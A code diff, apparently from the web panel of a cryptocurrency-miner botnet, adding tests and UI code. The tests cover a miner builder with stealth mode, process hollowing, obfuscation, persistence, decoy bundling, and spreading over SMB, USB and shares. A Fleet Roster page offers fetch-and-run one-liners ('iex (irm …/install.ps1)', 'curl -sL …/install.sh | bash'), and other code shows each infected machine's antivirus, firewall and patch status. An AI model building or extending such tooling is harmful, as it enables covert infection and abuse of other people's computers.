|
||||
'pool_host',
|
||||
'pool_port',
|
||||
'thread_mode',
|
||||
'thread_percent',
|
||||
'threads',
|
||||
'fusion_enabled',
|
||||
'spread_kit',
|
||||
'target_os',
|
||||
'target_arch',
|
||||
'obfuscate',
|
||||
'sign_build',
|
||||
];
|
||||
for (const key of expectedKeys) {
|
||||
expect(meta[key]).toBeDefined();
|
||||
}
|
||||
});
|
||||
|
||||
it('disables thread_percent when thread mode is fixed', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ thread_mode: 'fixed' }));
|
||||
expect(meta.thread_percent.disabled).toBe(true);
|
||||
expect(meta.threads.disabled).toBe(false);
|
||||
expect(meta.adapt_to_hardware.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('disables threads when thread mode is percent', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ thread_mode: 'percent' }));
|
||||
expect(meta.threads.disabled).toBe(true);
|
||||
expect(meta.thread_percent.disabled).toBe(false);
|
||||
});
|
||||
|
||||
it('disables idle fields unless mining mode is idle', () => {
|
||||
const idle = getForgeFieldMeta(baseForm({ mining_mode: 'idle' }));
|
||||
expect(idle.idle_threshold_pct.disabled).toBe(false);
|
||||
expect(idle.idle_duration_minutes.disabled).toBe(false);
|
||||
|
||||
const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
|
||||
expect(always.idle_threshold_pct.disabled).toBe(true);
|
||||
expect(always.idle_duration_minutes.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('disables schedule fields unless mining mode is scheduled', () => {
|
||||
const scheduled = getForgeFieldMeta(baseForm({ mining_mode: 'scheduled' }));
|
||||
expect(scheduled.schedule_start.disabled).toBe(false);
|
||||
expect(scheduled.schedule_end.disabled).toBe(false);
|
||||
|
||||
const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' }));
|
||||
expect(always.schedule_start.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('locks file_logging under stealth mode', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ stealth_mode: true }));
|
||||
expect(meta.file_logging.disabled).toBe(true);
|
||||
expect(meta.file_logging.lockedReason).toContain('Stealth mode');
|
||||
});
|
||||
|
||||
it('locks persistence under scheduled/service run_as', () => {
|
||||
const meta = getForgeFieldMeta(baseForm({ run_as: 'scheduled' }));
|
||||
expect(meta.persistence.disabled).toBe(true);
|
||||
expect(meta.auto_start.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('locks fusion when spread kit is on and vice versa', () => {
|
||||
const spread = getForgeFieldMeta(baseForm({ spread_kit: true }));
|
||||
expect(spread.fusion_enabled.disabled).toBe(true);
|
||||
expect(spread.target_os.disabled).toBe(true);
|
||||
|
||||
const fusion = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
|
||||
expect(fusion.spread_kit.disabled).toBe(true);
|
||||
expect(fusion.target_os.disabled).toBe(true);
|
||||
});
|
||||
|
||||
it('requires fusion fields only when fusion is enabled', () => {
|
||||
const off = getForgeFieldMeta(baseForm({ fusion_enabled: false }));
|
||||
expect(off.fusion_prep.disabled).toBe(true);
|
||||
expect(off.fusion_run_order.badge).toBe('requires');
|
||||
|
||||
const on = getForgeFieldMeta(baseForm({ fusion_enabled: true }));
|
||||
expect(on.fusion_prep.disabled).toBe(false);
|
||||
});
|
||||
|
||||
it('disables unix-incompatible fields on linux/darwin', () => {
|
||||
const linux = getForgeFieldMeta(baseForm({ target_os: 'linux' }));
|
||||
expect(linux.process_hollowing.disabled).toBe(true);
|
||||
expect(linux.obfuscate.disabled).toBe(true);
|
||||
expect(linux.target_arch.disabled).toBe(false);
|
||||
|
||||
const windows = getForgeFieldMeta(baseForm({ target_os: 'windows' }));
|
||||
expect(windows.target_arch.disabled).toBe(true);
|
||||
expect(windows.sign_build.disabled).toBe(false);
|
||||
});
|
||||
|
||||
it('marks output_dir and obfuscate as server-only', () => {
|
||||
const meta = getForgeFieldMeta(baseForm());
|
||||
expect(meta.output_dir.badge).toBe('server-only');
|
||||
expect(meta.obfuscate.badge).toBe('server-only');
|
||||
});
|
||||
});
|
||||
|
||||
describe('getForgeLiveNotices', () => {
|
||||
it('returns empty array for a plain windows form', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ target_os: 'windows', spread_kit: false }), false);
|
||||
expect(notices).toEqual([]);
|
||||
});
|
||||
|
||||
it('warns about service run mode', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ run_as: 'service' }), false);
|
||||
expect(notices.some((n) => n.includes('scheduled task'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when scheduled/service lacks persistence', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ run_as: 'scheduled', persistence: false }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('Persistence is forced on'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when fusion enabled without prep upload', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ fusion_enabled: true }), false);
|
||||
expect(notices.some((n) => n.includes('upload prep.exe'))).toBe(true);
|
||||
});
|
||||
|
||||
it('includes AI Ollama notice when AI is enabled', () => {
|
||||
const notices = getForgeLiveNotices(baseForm({ ai_enabled: true }), false);
|
||||
expect(notices.some((n) => n.includes('Ollama'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns when fixed threads ignores adapt_to_hardware', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('Adapt to hardware'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on pool TLS/port mismatches', () => {
|
||||
const p443 = getForgeLiveNotices(baseForm({ pool_port: 443, pool_tls: false }), false);
|
||||
expect(p443.some((n) => n.includes('Port 443'))).toBe(true);
|
||||
|
||||
const p3333 = getForgeLiveNotices(baseForm({ pool_port: 3333, pool_tls: true }), false);
|
||||
expect(p3333.some((n) => n.includes('3333'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on low max CPU with high thread percent', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ max_cpu_usage_pct: 20, thread_percent: 80, thread_mode: 'percent' }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('throttling'))).toBe(true);
|
||||
});
|
||||
|
||||
it('describes universal, spread kit, and fusion deliverables', () => {
|
||||
const universal = getForgeLiveNotices(baseForm({ target_os: 'universal' }), false);
|
||||
expect(universal.some((n) => n.includes('Windows, Linux, and macOS'))).toBe(true);
|
||||
|
||||
const spread = getForgeLiveNotices(baseForm({ spread_kit: true, target_os: 'universal' }), false);
|
||||
expect(spread.some((n) => n.includes('Spread Kit'))).toBe(true);
|
||||
|
||||
const fusion = getForgeLiveNotices(baseForm({ fusion_enabled: true, target_os: 'universal' }), true);
|
||||
expect(fusion.some((n) => n.includes('Fusion builds a universal ZIP'))).toBe(true);
|
||||
});
|
||||
|
||||
it('notes single-platform unix install paths', () => {
|
||||
const linux = getForgeLiveNotices(baseForm({ target_os: 'linux' }), false);
|
||||
expect(linux.some((n) => n.includes('linux worker'))).toBe(true);
|
||||
|
||||
const darwin = getForgeLiveNotices(baseForm({ target_os: 'darwin' }), false);
|
||||
expect(darwin.some((n) => n.includes('darwin worker'))).toBe(true);
|
||||
});
|
||||
|
||||
it('warns on universal without deliverable type', () => {
|
||||
const notices = getForgeLiveNotices(
|
||||
baseForm({ target_os: 'universal', fusion_enabled: false, spread_kit: false }),
|
||||
false
|
||||
);
|
||||
expect(notices.some((n) => n.includes('without Spread Kit or Fusion'))).toBe(true);
|
||||
});
|
||||
});
|
||||
133
server/web/src/help/settingHelp.test.ts
Normal file
133
server/web/src/help/settingHelp.test.ts
Normal file
@@ -0,0 +1,133 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { FIELD_HELP, SETUP_CHEATSHEET } from './settingHelp';
|
||||
|
||||
describe('SETUP_CHEATSHEET', () => {
|
||||
it('defines four setup steps in order', () => {
|
||||
expect(SETUP_CHEATSHEET).toHaveLength(4);
|
||||
expect(SETUP_CHEATSHEET.map((s) => s.title)).toEqual([
|
||||
'1. Calibrate once',
|
||||
'2. Forge (Simple mode)',
|
||||
'3. Deploy',
|
||||
'4. Watch the fleet',
|
||||
]);
|
||||
});
|
||||
|
||||
it('each step has non-empty title and body', () => {
|
||||
for (const step of SETUP_CHEATSHEET) {
|
||||
expect(step.title.trim().length).toBeGreaterThan(0);
|
||||
expect(step.body.trim().length).toBeGreaterThan(20);
|
||||
}
|
||||
});
|
||||
|
||||
it('mentions key workflow concepts in bodies', () => {
|
||||
const bodies = SETUP_CHEATSHEET.map((s) => s.body).join(' ');
|
||||
expect(bodies).toContain('Calibrate');
|
||||
expect(bodies).toContain('Forge');
|
||||
expect(bodies).toContain('Command Deck');
|
||||
expect(bodies).toContain('Fleet Roster');
|
||||
});
|
||||
});
|
||||
|
||||
describe('FIELD_HELP', () => {
|
||||
const expectedKeys = [
|
||||
'calibrate_wallet',
|
||||
'calibrate_quick_setup',
|
||||
'forge_simple_mode',
|
||||
'forge_recommended_defaults',
|
||||
'obfuscate',
|
||||
'sign_build',
|
||||
'obfuscate_default',
|
||||
'sign_enabled',
|
||||
'sign_cert_thumbprint',
|
||||
'sign_tool_path',
|
||||
'sign_timestamp_url',
|
||||
'worker_name',
|
||||
'server_url',
|
||||
'output_dir',
|
||||
'wallet',
|
||||
'pool_host',
|
||||
'pool_port',
|
||||
'pool_tls',
|
||||
'pool_pass',
|
||||
'threads',
|
||||
'thread_mode',
|
||||
'thread_percent',
|
||||
'max_cpu_usage_pct',
|
||||
'max_memory_percent',
|
||||
'min_free_ram_mb',
|
||||
'cpu_priority',
|
||||
'mining_mode',
|
||||
'idle_threshold_pct',
|
||||
'idle_duration_minutes',
|
||||
'schedule_start',
|
||||
'schedule_end',
|
||||
'display_mode',
|
||||
'process_name',
|
||||
'persistence',
|
||||
'run_as',
|
||||
'silent_mode',
|
||||
'auto_start',
|
||||
'fusion_enabled',
|
||||
'fusion_run_order',
|
||||
'fusion_prep',
|
||||
'fusion_media_mode',
|
||||
'fusion_output_name',
|
||||
'fusion_batch',
|
||||
'install_base',
|
||||
'install_custom_base',
|
||||
'install_relative_path',
|
||||
'public_url',
|
||||
'websocket_ping_seconds',
|
||||
'log_pool_traffic',
|
||||
'adapt_to_hardware',
|
||||
'self_healing',
|
||||
'firewall_exclusion',
|
||||
'open_firewall_on_start',
|
||||
'file_logging',
|
||||
'stealth_mode',
|
||||
'ai_enabled',
|
||||
'ai_ollama_endpoint',
|
||||
'ai_model',
|
||||
'process_hollowing',
|
||||
'mesh_p2p',
|
||||
'auto_spread',
|
||||
'usb_spread',
|
||||
'share_spread',
|
||||
'hole_punch',
|
||||
'remote_aggressive',
|
||||
'target_os',
|
||||
'target_arch',
|
||||
'spread_kit',
|
||||
'forge_deliverable',
|
||||
] as const;
|
||||
|
||||
it('defines help text for every documented field key', () => {
|
||||
expect(Object.keys(FIELD_HELP).sort()).toEqual([...expectedKeys].sort());
|
||||
});
|
||||
|
||||
it('each help entry is a non-empty string', () => {
|
||||
for (const key of expectedKeys) {
|
||||
const text = FIELD_HELP[key];
|
||||
expect(typeof text).toBe('string');
|
||||
expect(text.trim().length).toBeGreaterThan(10);
|
||||
}
|
||||
});
|
||||
|
||||
it('wallet and server_url entries warn against localhost', () => {
|
||||
expect(FIELD_HELP.wallet).toMatch(/Monero|wallet/i);
|
||||
expect(FIELD_HELP.server_url).toMatch(/Not localhost|not localhost/i);
|
||||
expect(FIELD_HELP.public_url).toMatch(/not localhost/i);
|
||||
});
|
||||
|
||||
it('fusion entries describe decoy bundling', () => {
|
||||
expect(FIELD_HELP.fusion_enabled).toContain('Fuse the miner');
|
||||
expect(FIELD_HELP.fusion_prep).toContain('decoy');
|
||||
expect(FIELD_HELP.fusion_run_order).toContain('Parallel');
|
||||
});
|
||||
|
||||
it('advanced spread entries describe lateral/USB/share behavior', () => {
|
||||
expect(FIELD_HELP.auto_spread).toContain('SMB');
|
||||
expect(FIELD_HELP.usb_spread).toContain('USB');
|
||||
expect(FIELD_HELP.share_spread).toContain('share');
|
||||
});
|
||||
});
|
||||
215
server/web/src/pages/AgentsPage.test.tsx
Normal file
215
server/web/src/pages/AgentsPage.test.tsx
Normal file
@@ -0,0 +1,215 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
|
||||
import userEvent from '@testing-library/user-event';
|
||||
import AgentsPage from './AgentsPage';
|
||||
import { mockAgent, mockServerInfo } from '../test/fixtures';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { api } from '../api/client';
|
||||
|
||||
vi.mock('../hooks/useWebSocket', () => ({
|
||||
useWebSocket: vi.fn(),
|
||||
}));
|
||||
|
||||
const useWebSocketMock = vi.mocked(useWebSocket);
|
||||
|
||||
function wsValue(overrides: Partial<ReturnType<typeof useWebSocket>> = {}) {
|
||||
return {
|
||||
isConnected: false,
|
||||
agents: [],
|
||||
recentShares: [],
|
||||
fleetAlerts: [],
|
||||
poolStatus: [],
|
||||
aiActivity: [],
|
||||
agentLogs: {},
|
||||
commandResults: [],
|
||||
latestMessage: null,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function renderAgentsPage() {
|
||||
return render(<AgentsPage />);
|
||||
}
|
||||
|
||||
describe('AgentsPage', () => {
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
useWebSocketMock.mockReturnValue(wsValue());
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getServerInfo').mockResolvedValue(mockServerInfo);
|
||||
vi.spyOn(api, 'getAgentStats').mockResolvedValue([]);
|
||||
vi.spyOn(api, 'getAgentLog').mockResolvedValue({ agent_id: 'x', content: 'log line' });
|
||||
vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
|
||||
success: true,
|
||||
agent: mockAgent({ notes: 'saved note', tags: ['rack-a'] }),
|
||||
});
|
||||
vi.spyOn(api, 'sendBulkCommand').mockResolvedValue({
|
||||
success: true,
|
||||
sent: 1,
|
||||
failed: 0,
|
||||
action: 'restart',
|
||||
});
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
cleanup();
|
||||
});
|
||||
|
||||
it('renders page heading and quick deploy labels', async () => {
|
||||
renderAgentsPage();
|
||||
expect(screen.getByRole('heading', { level: 1, name: 'Fleet Roster' })).toBeInTheDocument();
|
||||
expect(screen.getByText('FLEET REGISTRY')).toBeInTheDocument();
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('One-liner Quick Deploy')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText('Install & run (auto-launches)')).toBeInTheDocument();
|
||||
expect(screen.getByText('Direct download only (saves file)')).toBeInTheDocument();
|
||||
expect(screen.getAllByText('Windows')).toHaveLength(2);
|
||||
expect(screen.getByText('Linux/Mac')).toBeInTheDocument();
|
||||
expect(screen.getByText('macOS')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('builds quick deploy URLs from server info', async () => {
|
||||
renderAgentsPage();
|
||||
await waitFor(() => {
|
||||
expect(screen.getAllByText(`iex (irm '${mockServerInfo.suggested_url}/install.ps1')`)).toHaveLength(1);
|
||||
});
|
||||
expect(screen.getByText(`curl -sL ${mockServerInfo.suggested_url}/install.sh | bash`)).toBeInTheDocument();
|
||||
expect(screen.getByText(`${mockServerInfo.suggested_url}/get?os=windows`)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows loading then empty multi-OS state', async () => {
|
||||
renderAgentsPage();
|
||||
expect(screen.getByText('Scanning network...')).toBeInTheDocument();
|
||||
expect(await screen.findByText('No agents registered')).toBeInTheDocument();
|
||||
expect(
|
||||
screen.getByText(/Deploy a worker to any machine \(Windows, Linux, or macOS\)/)
|
||||
).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('surfaces listAgents load errors', async () => {
|
||||
vi.spyOn(api, 'listAgents').mockRejectedValue(new Error('API unavailable'));
|
||||
renderAgentsPage();
|
||||
expect(await screen.findByText('API unavailable')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('lists agents and opens detail panel with section headings', async () => {
|
||||
const agent = mockAgent({ name: 'Rack B Miner', notes: 'basement', tags: ['home'] });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
|
||||
renderAgentsPage();
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('Rack B Miner')).toBeInTheDocument();
|
||||
});
|
||||
await userEvent.setup().click(screen.getByText('Rack B Miner'));
|
||||
await waitFor(() => {
|
||||
expect(screen.getByRole('heading', { level: 2, name: 'Rack B Miner' })).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByText('Notes & Tags')).toBeInTheDocument();
|
||||
expect(screen.getByText('Hashrate')).toBeInTheDocument();
|
||||
expect(screen.getByText('Shares')).toBeInTheDocument();
|
||||
expect(screen.getByText('Remote Control')).toBeInTheDocument();
|
||||
expect(api.getAgentStats).toHaveBeenCalledWith(agent.id, 60);
|
||||
});
|
||||
|
||||
it('preserves notes draft while typing until agent switch', async () => {
|
||||
const a1 = mockAgent({ id: 'a1', name: 'Node One', notes: 'note one' });
|
||||
const a2 = mockAgent({ id: 'a2', name: 'Node Two', notes: 'note two' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([a1, a2]);
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Node One')).toBeInTheDocument());
|
||||
const user = userEvent.setup();
|
||||
await user.click(screen.getByText('Node One'));
|
||||
const detail = await screen.findByRole('heading', { level: 2, name: 'Node One' });
|
||||
const panel = detail.closest('.agent-detail') as HTMLElement;
|
||||
const notes = within(panel).getByPlaceholderText('Notes about this machine…') as HTMLTextAreaElement;
|
||||
await waitFor(() => expect(notes.value).toBe('note one'));
|
||||
await user.clear(notes);
|
||||
await user.type(notes, 'typing in progress');
|
||||
expect(notes.value).toBe('typing in progress');
|
||||
await user.click(screen.getByText('Node Two'));
|
||||
await waitFor(() => expect(notes.value).toBe('note two'));
|
||||
});
|
||||
|
||||
it('saves notes and tags via API', async () => {
|
||||
const agent = mockAgent({ id: 'save-me', name: 'Save Target' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
|
||||
const updateSpy = vi.spyOn(api, 'updateAgentMeta').mockResolvedValue({
|
||||
success: true,
|
||||
agent: { ...agent, notes: 'Living room PC', tags: ['living-room'] },
|
||||
});
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Save Target')).toBeInTheDocument());
|
||||
const user = userEvent.setup();
|
||||
await user.click(screen.getByText('Save Target'));
|
||||
const detail = await screen.findByRole('heading', { level: 2, name: 'Save Target' });
|
||||
const panel = detail.closest('.agent-detail') as HTMLElement;
|
||||
const notes = within(panel).getByPlaceholderText('Notes about this machine…');
|
||||
await user.clear(notes);
|
||||
await user.type(notes, 'Living room PC');
|
||||
const tags = within(panel).getByPlaceholderText('Tags: living-room, rack-b (comma separated)');
|
||||
await user.clear(tags);
|
||||
await user.type(tags, 'living-room, rack-b');
|
||||
await user.click(within(panel).getByRole('button', { name: 'Save notes & tags' }));
|
||||
await waitFor(() => {
|
||||
expect(updateSpy).toHaveBeenCalledWith('save-me', 'Living room PC', ['living-room', 'rack-b']);
|
||||
});
|
||||
expect(await within(panel).findByText('Saved')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('alerts when bulk action has no online agents', async () => {
|
||||
const offline = mockAgent({ id: 'off-1', name: 'Offline Node', status: 'offline' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([offline]);
|
||||
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Offline Node')).toBeInTheDocument());
|
||||
const list = screen.getByText('Offline Node').closest('.agents-list') as HTMLElement;
|
||||
await userEvent.setup().click(within(list).getByRole('checkbox'));
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
|
||||
await waitFor(() => {
|
||||
expect(alertSpy).toHaveBeenCalledWith('No online agents in selection.');
|
||||
});
|
||||
alertSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('alerts when bulk command API fails', async () => {
|
||||
const agent = mockAgent({ name: 'Online One' });
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([agent]);
|
||||
vi.spyOn(api, 'sendBulkCommand').mockRejectedValue(new Error('bulk failed'));
|
||||
const alertSpy = vi.spyOn(window, 'alert').mockImplementation(() => {});
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Online One')).toBeInTheDocument());
|
||||
const list = screen.getByText('Online One').closest('.agents-list') as HTMLElement;
|
||||
await userEvent.setup().click(within(list).getByRole('checkbox'));
|
||||
await userEvent.setup().click(screen.getByRole('button', { name: 'Pause' }));
|
||||
await waitFor(() => {
|
||||
expect(alertSpy).toHaveBeenCalledWith('bulk failed');
|
||||
});
|
||||
alertSpy.mockRestore();
|
||||
});
|
||||
|
||||
it('syncs agents from websocket when connected', async () => {
|
||||
const restAgent = mockAgent({ id: 'rest', name: 'REST Name', hashrate_15m: 100 });
|
||||
vi.spyOn(api, 'listAgents').mockImplementation(
|
||||
() => new Promise((resolve) => setTimeout(() => resolve([restAgent]), 50))
|
||||
);
|
||||
const liveAgent = mockAgent({ id: 'rest', name: 'Live Name', hashrate_15m: 999 });
|
||||
useWebSocketMock.mockReturnValue(wsValue({ isConnected: true, agents: [liveAgent] }));
|
||||
renderAgentsPage();
|
||||
await waitFor(() => {
|
||||
expect(screen.getByText('Live Name')).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.queryByText('REST Name')).not.toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows filter empty hint when no agents match', async () => {
|
||||
vi.spyOn(api, 'listAgents').mockResolvedValue([mockAgent({ name: 'Hidden', tags: ['prod'] })]);
|
||||
renderAgentsPage();
|
||||
await waitFor(() => expect(screen.getByText('Hidden')).toBeInTheDocument());
|
||||
const search = screen.getByPlaceholderText('Search name, IP, notes, tags…');
|
||||
await userEvent.setup().type(search, 'nomatchxyz');
|
||||
expect(screen.getByText('No agents match filters.')).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
@@ -1,4 +1,4 @@
|
||||
import { useState, useEffect, useMemo, useCallback } from 'react';
|
||||
import { useState, useEffect, useMemo, useCallback, useRef } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import type { Agent, HashrateSample, ServerInfo } from '../types';
|
||||
@@ -93,13 +93,25 @@ export default function AgentsPage() {
|
||||
const [tagsDraft, setTagsDraft] = useState('');
|
||||
const [metaSaving, setMetaSaving] = useState(false);
|
||||
const [metaMsg, setMetaMsg] = useState('');
|
||||
const isConnectedRef = useRef(isConnected);
|
||||
isConnectedRef.current = isConnected;
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
api.listAgents()
|
||||
.then(setAgents)
|
||||
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents'))
|
||||
.finally(() => setLoading(false));
|
||||
.then((data) => {
|
||||
if (!cancelled && !isConnectedRef.current) setAgents(data);
|
||||
})
|
||||
.catch((err) => {
|
||||
if (!cancelled) setLoadError(err instanceof Error ? err.message : 'Failed to load agents');
|
||||
})
|
||||
.finally(() => {
|
||||
if (!cancelled) setLoading(false);
|
||||
});
|
||||
api.getServerInfo().then(setServerInfo).catch(() => {});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -214,6 +226,7 @@ export default function AgentsPage() {
|
||||
await api.sendBulkCommand(onlineIds, action);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
alert(err instanceof Error ? err.message : 'Bulk command failed');
|
||||
} finally {
|
||||
setBulkBusy(false);
|
||||
}
|
||||
|
||||
@@ -150,10 +150,82 @@
|
||||
margin-top: 1px;
|
||||
}
|
||||
|
||||
.cn-badges {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.25rem;
|
||||
margin-top: 2px;
|
||||
}
|
||||
|
||||
.cn-ssh.ssh-on { color: var(--neon-green); background: rgba(57,255,20,0.12); }
|
||||
.cn-ssh.ssh-off { color: #ff4466; background: rgba(255,68,102,0.12); }
|
||||
.cn-ssh.ssh-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
|
||||
|
||||
.cn-posture {
|
||||
font-size: 0.68rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.04em;
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.cn-posture.posture-good { color: var(--neon-green); background: rgba(57,255,20,0.1); }
|
||||
.cn-posture.posture-warn { color: var(--neon-amber); background: rgba(255,176,32,0.12); }
|
||||
.cn-posture.posture-bad { color: #ff4466; background: rgba(255,68,102,0.12); }
|
||||
.cn-posture.posture-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
|
||||
|
||||
.cn-patch {
|
||||
font-size: 0.65rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
}
|
||||
|
||||
.cn-patch.patch-ok { color: var(--neon-cyan); background: rgba(0,245,255,0.08); }
|
||||
.cn-patch.patch-stale { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||
|
||||
.cn-elevated {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 4px;
|
||||
border-radius: 3px;
|
||||
color: var(--neon-magenta);
|
||||
background: rgba(255,45,166,0.12);
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
|
||||
/* ── Pending-updates badge ─────────────────────────────────────────────────── */
|
||||
.cn-upd {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 4px;
|
||||
border-radius: 3px;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.cn-upd.upd-ok { color: #00ff88; background: rgba(0,255,136,0.08); }
|
||||
.cn-upd.upd-warn { color: var(--neon-amber); background: rgba(255,176,32,0.1); }
|
||||
.cn-upd.upd-bad { color: #ff4444; background: rgba(255,68,68,0.12); font-weight: 700; }
|
||||
.cn-upd.upd-unk { color: #888; background: rgba(128,128,128,0.08); }
|
||||
|
||||
/* ── Reboot-pending badge ──────────────────────────────────────────────────── */
|
||||
.cn-reboot {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 4px;
|
||||
border-radius: 3px;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.cn-reboot.rb-pending {
|
||||
color: #ff2222;
|
||||
background: rgba(255,34,34,0.15);
|
||||
font-weight: 700;
|
||||
animation: rb-blink 1.4s step-end infinite;
|
||||
}
|
||||
@keyframes rb-blink {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.45; }
|
||||
}
|
||||
|
||||
/* ── Row: Groups + Actions ───────────────────────────────────────────── */
|
||||
|
||||
.crucible-row {
|
||||
|
||||
@@ -45,6 +45,57 @@ function sshBadge(agent: Agent) {
|
||||
return { label: 'SSH ?', cls: 'ssh-unk' };
|
||||
}
|
||||
|
||||
function postureBadge(score?: number) {
|
||||
if (score === undefined) return { label: 'POSTURE ?', cls: 'posture-unk' };
|
||||
if (score >= 80) return { label: `P:${score}`, cls: 'posture-good' };
|
||||
if (score >= 40) return { label: `P:${score}`, cls: 'posture-warn' };
|
||||
return { label: `P:${score}`, cls: 'posture-bad' };
|
||||
}
|
||||
|
||||
function patchLabel(days?: number) {
|
||||
if (days === undefined) return null;
|
||||
return { label: `${days}d`, cls: days <= 30 ? 'patch-ok' : 'patch-stale' };
|
||||
}
|
||||
|
||||
function postureTooltip(agent: Agent): string {
|
||||
const lines: string[] = [];
|
||||
const yn = (v?: boolean) => v === true ? '✓' : v === false ? '✗' : '?';
|
||||
const na = (v: unknown) => v !== undefined && v !== null ? String(v) : '?';
|
||||
|
||||
lines.push(`Defender: ${yn(agent.defender_enabled)} RTP: ${yn(agent.defender_rtp)}`);
|
||||
if (agent.av_products?.length) lines.push(`AV: ${agent.av_products.join(', ')}`);
|
||||
lines.push(`FW Domain:${yn(agent.firewall_domain)} Private:${yn(agent.firewall_private)} Public:${yn(agent.firewall_public)}`);
|
||||
lines.push(`SSH: ${yn(agent.ssh_available)} Elevated: ${yn(agent.agent_elevated)}`);
|
||||
lines.push('──────────────────────');
|
||||
|
||||
// Patch exposure
|
||||
if (agent.last_patch) lines.push(`Last patch: ${agent.last_patch} (${na(agent.last_patch_days)}d ago)`);
|
||||
else if (agent.last_patch_days !== undefined) lines.push(`Last patch: ${agent.last_patch_days}d ago`);
|
||||
if (agent.pending_updates !== undefined) {
|
||||
const u = agent.pending_updates;
|
||||
lines.push(`Pending updates: ${u < 0 ? 'unknown' : u === 0 ? 'none ✓' : `${u} ⚠`}`);
|
||||
}
|
||||
if (agent.reboot_pending !== undefined) {
|
||||
lines.push(`Reboot required: ${agent.reboot_pending ? 'YES ⚠' : 'no ✓'}`);
|
||||
}
|
||||
return lines.join('\n');
|
||||
}
|
||||
|
||||
function pendingBadge(agent: Agent): { label: string; cls: string } | null {
|
||||
const u = agent.pending_updates;
|
||||
if (u === undefined) return null;
|
||||
if (u < 0) return { label: 'UPD ?', cls: 'upd-unk' };
|
||||
if (u === 0) return { label: 'UP TO DATE', cls: 'upd-ok' };
|
||||
